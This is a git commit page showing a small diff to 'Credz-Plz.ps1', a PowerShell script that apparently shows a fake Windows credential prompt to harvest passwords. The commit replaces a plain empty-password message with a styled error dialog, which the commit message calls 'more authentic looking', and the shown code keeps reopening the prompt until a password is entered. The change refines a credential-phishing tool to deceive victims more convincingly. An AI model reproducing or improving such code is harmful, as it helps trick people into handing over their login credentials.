Updated Credz-Plz.ps1
Added a more authentic looking "Credentials cannot be empty!" error message. - Tested and functioning properly on Windows 10.
This commit is contained in:
parent
8279298242
commit
4a234bcbdc
1 changed files with 7 additions and 1 deletions
|
@ -62,7 +62,13 @@ while ($form -eq $null)
|
||||||
|
|
||||||
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
||||||
{
|
{
|
||||||
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
|
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||||
|
$msgBody = "Credentials cannot be empty!"
|
||||||
|
$msgTitle = "Error"
|
||||||
|
$msgButton = 'Ok'
|
||||||
|
$msgImage = 'Stop'
|
||||||
|
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
|
||||||
|
Write-Host "The user clicked: $Result"
|
||||||
$form = $null
|
$form = $null
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue